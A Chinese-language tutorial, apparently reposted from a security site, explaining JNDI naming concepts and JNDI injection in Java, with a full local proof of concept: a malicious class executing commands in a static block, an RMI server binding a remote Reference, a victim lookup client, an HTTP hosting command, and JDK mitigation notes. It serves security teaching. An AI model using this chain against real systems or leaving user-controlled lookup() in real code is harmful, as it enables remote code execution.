JNDI注入詳解

區塊軟件開發 發佈 2024-04-28T01:51:57.362361+00:00

JNDI簡介JNDI是java命名與目錄接口(java Naming and Directory Interface),在J2EE規範中是重要的規範之一。通過調用JNDI的API應用程式可以定位資源和其它程序對象。

JNDI簡介

JNDI是Java命名與目錄接口(java Naming and Directory Interface),在J2EE規範中是重要的規範之一。通過調用JNDI的API應用程式可以定位資源和其它程序對象。需要注意的是它並不只是包含了DataSource(JDBC數據源),JNDI可訪問的現有的目錄以及服務有:JDBC,LDAP,RMI,NID,CORBA。jndi是對各種訪問目錄服務的邏輯進行了再封裝,也就是以前我們訪問rmi與ldap要寫的代碼差別很大,但是有了jndi這一層,我們就可以用jndi的方式來輕鬆訪問rmi或者ldap服務,這樣訪問不同的服務的代碼實現基本是一樣的。

通俗一點講:JNDI對訪問rmi或者ldap服務的代碼進行了封裝,我們使用JNDI就可以訪問這些服務,不需要自己再去關注訪問服務的細節。JNDI相當於是客戶端,而rmi,LDAP等這些是服務端。

其它一些概念:

1)Naming Service 命名服務 命名服務將名稱和對象進行關聯,提供通過名稱找到對象的操作。 例如:DNS系統將計算機名和IP位址進行關聯。文件系統將文件名和文件句柄進行關聯等等。

2)Name 名稱 要在命名系統中查找對象,需要提供對象的名稱。對象的名稱是用來標識該對象的易於人理解的名稱。 例如:文件系統用文件名來標識文件對象。DNS系統用機器名來表示IP位址。

3)binding 綁定 一個名稱和一個對象的關聯稱為一個綁定。 例如:文件系統中,文件名綁定到文件。DNS系統中,機器名綁定到IP位址。

4)Reference 引用 在一些命名服務系統中,系統並不是直接將對象存儲在系統中,而是保持對象的引用。引用包含了如何訪問實際對象的信息。

5)Context 上下文 一個上下文是一系列名稱和對象的綁定的集合。一個上下文通常提供一個lookup操作來返回對象,也可能提供綁定,解除綁定,列舉綁定名等操作。

JNDI調用過程

JNDI調用其實包含三個部分:

1)client 2)RMI Registry 3)Server

客戶端訪問註冊埠請求相應的服務,註冊埠將服務信息返回給客戶端,客戶端在啟動一個埠去訪問服務。所以其實從客戶端角度看,服務端應用是有兩個埠的,一個是RMI Registry埠(默認為1099),另一個是遠程對象的通信埠(隨機分配的)

JNDI簡單實現

1)JNDI中有綁定和查找的方法:

bind: 將第一個參數綁定到第二個參數的對象上面

lookup:通過提供的名稱查找對象(如何這個參數可控,就可能導致漏洞出現)

代碼實現

先設置並啟動一個服務端RMI

IHello.java #定義一個接口,後面用具體的類實現它

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}

IHelloImpl.java #實現前面的接口,用來提供遠程調用的類。

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    protected IHelloImpl() throws RemoteException {
        super();
    }

    @Override
    public String sayHello(String name) throws RemoteException {
        return "Hello " + name;
    }
}

CallService.java #定義一個rmi服務,用作客戶端,用來提供上面函數的遠程調用

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    public static void main(String[] args) throws Exception{

        // 創建一個rmi映射表
        Registry registry = LocateRegistry.createRegistry(1099);
        // 創建一個對象
        IHello hello = new IHelloImpl();
        // 將對象綁定到rmi註冊表
        registry.bind("hello", hello);

    }
}

testClient.java#接下來定義客戶端,用JNDI調用上面的rmi服務

import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;

public class testClient {
        public static void main(String[] args) throws Exception{

        //配置JNDI工廠和JNDI的url和埠。如果沒有配置這些信息,會出現NoInitialContextException異常
        //Properties env = new Properties();
        //env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        //env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

        // 創建初始化環境
        Context ctx = new InitialContext();
        //  jndi的方式獲取遠程對象
        IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
        //ctx.lookup("ldap://localhost:8088/EvilObj");
        // 調用遠程對象的方法
        System.out.println(rhello.sayHello("axin"));
    }

}

先啟動服務端,在啟動客戶端,就可以看到成功在服務端返回調用函數以後的值。

JNDI Naming Reference

上面例子中的rmi服務綁定是本地的類,Java為了將Object對象存儲在Naming或Directory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming或Directory服務下,比如RMI、LDAP等。綁定了Reference之後,服務端會先通過Referenceable.getReference()獲取綁定對象的引用,並且在目錄中保存。當客戶端在lookup()查找這個遠程對象時,客戶端會獲取相應的object factory,最終通過factory類將reference轉換為具體的對象實例。

JNDI客戶端可以加載遠程的RMI服務的class文件來進行實例化。通過lookup指定一個遠程服務,遠程服務是通過Reference來遠程加載類文件。這樣就可以對JNDI客戶端進行攻擊。加載遠程類的時候static靜態代碼塊,代碼塊,無參構造函數和getObjectInstance方法都會被調用。

在使用Reference時,我們可以直接將對象傳入構造方法中,當被調用時,對象的方法就會被觸發,創建Reference實例時幾個比較關鍵的屬性:

className:遠程加載時所使用的類名;

classFactory:加載的class中需要實例化類的名稱;

classFactoryLocation:遠程加載類的地址,提供classes數據的地址可以是file/ftp/http等協議;

當然,要把一個對象綁定到rmi註冊表中,這個對象需要繼承UnicastRemoteObject,但是Reference沒有繼承它,所以我們還需要封裝一下它,用 ReferenceWrapper 包裹一下Reference實例對象,這樣就可以將其綁定到rmi註冊表,並被遠程訪問到了。

JNDI注入

就是將惡意的Reference類綁定在RMI註冊表中,其中惡意引用指向遠程惡意的class文件,當用戶在JNDI客戶端的lookup()函數參數外部可控或Reference類構造方法的classFactoryLocation參數外部可控時,會使用戶的JNDI客戶端訪問RMI註冊表中綁定的惡意Reference類,從而加載遠程伺服器上的惡意class文件在客戶端本地執行,最終實現JNDI注入攻擊導致遠程代碼執行

jndi注入的利用條件

1)客戶端的lookup()方法參數可控

2)服務端在使用Reference時,classFactoryLocation參數可控

上面兩個都是在編寫程序時可能存在的脆弱點(任意一個滿足就行)

JNDI利用流程

1)目標代碼中調用了InitialContext.lookup(URI),且URI為用戶可控;

2)攻擊者控制URI參數為惡意的RMI服務地址,如:rmi://hacker_rmi_server//name;

3)攻擊者RMI伺服器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類;

4)目標在進行lookup()操作時,會動態加載並實例化Factory類,接著調用factory.getObjectInstance()獲取外部遠程對象實例;

5)攻擊者可以在Factory類文件的構造方法、靜態代碼塊、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果;

JNDI注入例子

首先創建一個惡意對象

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

public class EvilObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
        return null;
    }

    static {
        try{
            exec("calc.exe");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

可以看到這裡利用的是static代碼塊執行命令。

創建RMI服務端,綁定惡意的Reference到rmi註冊表

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:6666/";
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("EvilObj", "EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }

}

創建一個客戶端(受害者)

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        context.lookup("rmi://localhost:1099/evil");
    }
}

可以看到這裡的lookup方法的參數是指向我設定的惡意rmi地址的。

啟動一個簡單的客戶端,用來提供惡意類的訪問連結

然後先編譯該項目,生成class文件,然後在class文件目錄下用python啟動一個簡單的HTTP Server:

python -m SimpleHTTPServer 6666

執行上述命令就會在6666埠、當前目錄下運行一個HTTP Server:

運行Server端,啟動rmi registry服務


啟動客戶端

可以看到成功執行了上面惡意類中的靜態代碼,彈出計算機。

上面就是JNDI一個簡單的例子。

注意事項

在復現的過程中,一定要注意JDK的版本,JDK在版本中對JNDI的利用有一定的限制。如下

JDK 6u141、7u131、8u121之後:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI為LDAP協議來進行JNDI注入攻擊。
JDK 6u211、7u201、8u191之後:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了。

對於高版本的JDK,上面的例子就不能執行成功,關於高版本的繞過只要有加載本地工廠類,打本地反序列化鏈兩種方式,下篇文章再來分析。

from https://www.freebuf.com/articles/web/358196.html

關鍵字: